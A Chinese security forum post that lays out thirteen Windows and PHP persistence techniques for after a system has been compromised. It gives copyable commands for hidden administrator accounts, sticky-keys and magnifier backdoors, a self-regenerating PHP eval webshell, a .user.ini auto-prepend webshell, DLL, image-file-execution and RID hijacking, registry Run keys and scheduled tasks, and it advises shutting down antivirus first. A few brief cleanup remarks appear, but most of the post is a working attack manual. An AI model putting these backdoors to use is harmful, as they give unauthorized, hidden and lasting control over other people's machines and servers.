安全矩阵

 找回密码
 立即注册
搜索
查看: 1712|回复: 0

渗透之权限维持的13种方法

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-7-5 14:58:35 | 显示全部楼层 |阅读模式
渗透之权限维持的13种方法0x1 匿名用户
  1. net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add
复制代码

PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。
可以通过注册表或直接用户管理删除隐藏的用户。

0x2 Shift 后门
  •         将 C:\WINDOWS\system32\dllcache\sethc.exe 删除,这个文件夹中放着缓存,如果不删除就会自动变回去。
  •         删除 C:\WINDOWS\system32\ 下的 sethc.exe 文件。
  •         重命名 C:\WINDOWS\system32\ 下的 cmd.exe 为 sethc.exe 。
  •         按下 5下 shift 即可弹出管理权限的 DOS 窗口。
           
           



编辑

0x3 放大镜后门
创建 magnify.bat
  1. @echo off
  2. net user administrator$ woaijiushi /add
  3. net localgroup administrators hack$ /add
  4. %Windir%\system32\nagnify.exe
  5. exit
复制代码

利用bat2com / com2exe,BatToEXE(图形化工具)等工具把Bat文件转换成exe文件,
bat2com magnify.bat    # 将magnify.bat转换成magnify.com com2exe magnify.com    # 将magnify.com转换成magnify.exe

将生成的 magnify.exe 分别替换掉 C:\WINDOWS\system32\dllcache 下的 magnify.exe 和C:\WINDOWS\system32\ 下的 magnify.exe

登陆时通过组合键 Win+U 调用。

上述方法检查及清除

  1. 检查`“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”`注册表路径中的程序名称
复制代码

其它适用于的辅助功能还有:
1. 屏幕键盘:C:\Windows\System32\osk.exe
2. 放大镜:C:\Windows\System32\Magnify.exe
3. 旁白:C:\Windows\System32\Narrator.exe
4. 显示开关:C:\Windows\System32\DisplaySwitch.exe
5. 应用程序开关:C:\Windows\System32\AtBroker.exe
PS:现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。

0x4 隐藏属性后门文件
将木马文件属性改为“隐藏” ,伪装成系统文件或数据库文件等,修改时间跟系统文件时间类似。

0x5 PHP内存型木马(不死马)
创建 inc_data_config.php 文件
  1. <?php
  2. set_time_limit(0);
  3. ignore_user_abort(1);  
  4. unlink(__FILE__);
  5. while(1){
  6. file_put_contents('inc_data_config.php','<?php $a=array($_REQUEST["cmd"]=>"3");
  7.   $b=array_keys($a)[0];
  8.   eval($b);?>');
  9. sleep(5);
  10. }
  11. ?>
复制代码

ignore_user_abort() 函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit() 函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__) 删除文件本身,以起到隐蔽自身的作用。

此脚本会每5秒不断的向服务器生成一个“inc_data_config.php”的一句话木马。

清除脚本只需要重启http服务。

0x6 .user.ini文件构成的PHP后门
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
  1. auto_prepend_file=01.gif
复制代码
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell
01.gif
  1. <?php @eval($_GET['cmd']); ?>
复制代码

直接访问下面链接即可利用:
http://xxx.baidu.com/index.php?cmd=phpinfo();

0x7 使用已经禁用的guest账户进行登录
控制面板\所有控制面板项\用户帐户\管理帐户\启用来宾帐户
  1. net user guest woaijiushi && net localgroup administrators guest /add

  2. net user guest /active:yes   // 激活guest用户
复制代码

0x8 DLL 劫持
在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。

系统在使用DLL搜索顺序取决于世否启用安全的DLL搜索模式 。

PS:WindowsXP默认情况下禁用安全DLL搜索模式。之后默认启用安全DLL搜索模式
若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0为禁止,1为启用。

SafeDLLSearchMode启用后,搜索顺序如下:

1. 从其中加载应用程序的目录、
2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
5. 当前目录。
6. PATH环境变量中列出的目录。

SafeDLLSearchMode禁用后,搜索顺序如下:

1. 从其中加载应用程序的目录
2. 当前目录
3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
5. Windows目录。 使用GetWindowsDirectory函数获取此目录。
6. PATH环境变量中列出的目录。

DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。

可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。结合本文的主题,这里选择劫持系统程序。

可以劫持的dll有:

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll为列,explorer桌面程序的启动需要加载lpk.dll,当进入桌面后lpk.dll便被加载了,劫持lpk.dll之后,每次启动系统,自己的lpk.dll都会被加载,实现了持久化攻击的效果。

0x9 注册表开机自动启动项
1. Load注册键
  1. HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
复制代码

// 建一个字符串名为load键值

2. Winlogon\Userinit注册键

找到“Userinit”这个键值,这个键值默认为c:\WINNT\system32\userinit.exe,后面加路径,再加逗号也可以。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
  2. HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
复制代码
3. Explorer\Run注册键
  1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
复制代码
4. RunServicesOnce注册键
  1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
复制代码
5. 常用注册键
  1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  3. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  4. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  5. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  6. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
复制代码

测试部分成功执行。
编辑

0x10 计划任务
  1. schtasks /create /sc ONLOGON /tr C:\Windows\System32\cmd.exe /tn test
复制代码
命令详解:
  1. schtasks /create  <创建新的计划任务>
  2. 参数:
  3. /sc schedule <schedule>
  4. ONLOGON
  5. 每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。

  6. /tr  <TaskRun>
  7. 指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名;
  8. 如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

  9. /tn <TaskName>
  10. 指定任务的名称
复制代码

关机重启显示效果


指定时间运行任务

  1. schtasks /create /sc daily /st 00:00:00 /tr calc.exe /tn test1
复制代码
  1. 参数详解

  2. /st StartTime
  3. 以 HH:MM:SS 24 小时格式指定时间。默认值是命令完成时的当前本地时间。/st 参数只对于 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 和 ONCE 计划有效。它只对于 ONCE 计划是必需的。

  4. schtasks命令详解 schtasks常见错误


  5. 删除计划任务
复制代码
  1. schtasks /Delete /TN 任务名称 /F
复制代码

0x11 文件夹启动

在每次开机或重启的时候就会运行启动文件夹下的程序。
  1. C:\Users\ppbibo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  2. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
复制代码

0x12 映像劫持
在下面注册表

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
  2. Image File Execution Options
复制代码

在此路径下创建一个子项,子项的名称为你要劫持的 exe 名称,比如说cmd.exe 然后创建一个值,值名为Debugger, 值为要执行的恶意脚本。

编辑

运行 cmd.exe 时执行成功运行 calc.exe
注意:这个会让安全软件拦截,所以要先退出杀软。

0x13 RID 劫持
新建一个普通用户 admin
在下面注册表中


  1. HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
复制代码

​​
找到 admin 对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置(即RID的十六进制表示)

编辑
Tips:SAM下的注册表选项需要获得system权限才能读取
查看 administrator 对应键值,数值名称为F ,数值内容 0030 的位置复制到 admin 对应键值,数值名称为F ,数值内容 0030 的位置。

编辑

编辑

点击确定然后关机重启,登陆 admin 用户,效果图如下:
编辑





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-17 01:57 , Processed in 0.015702 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表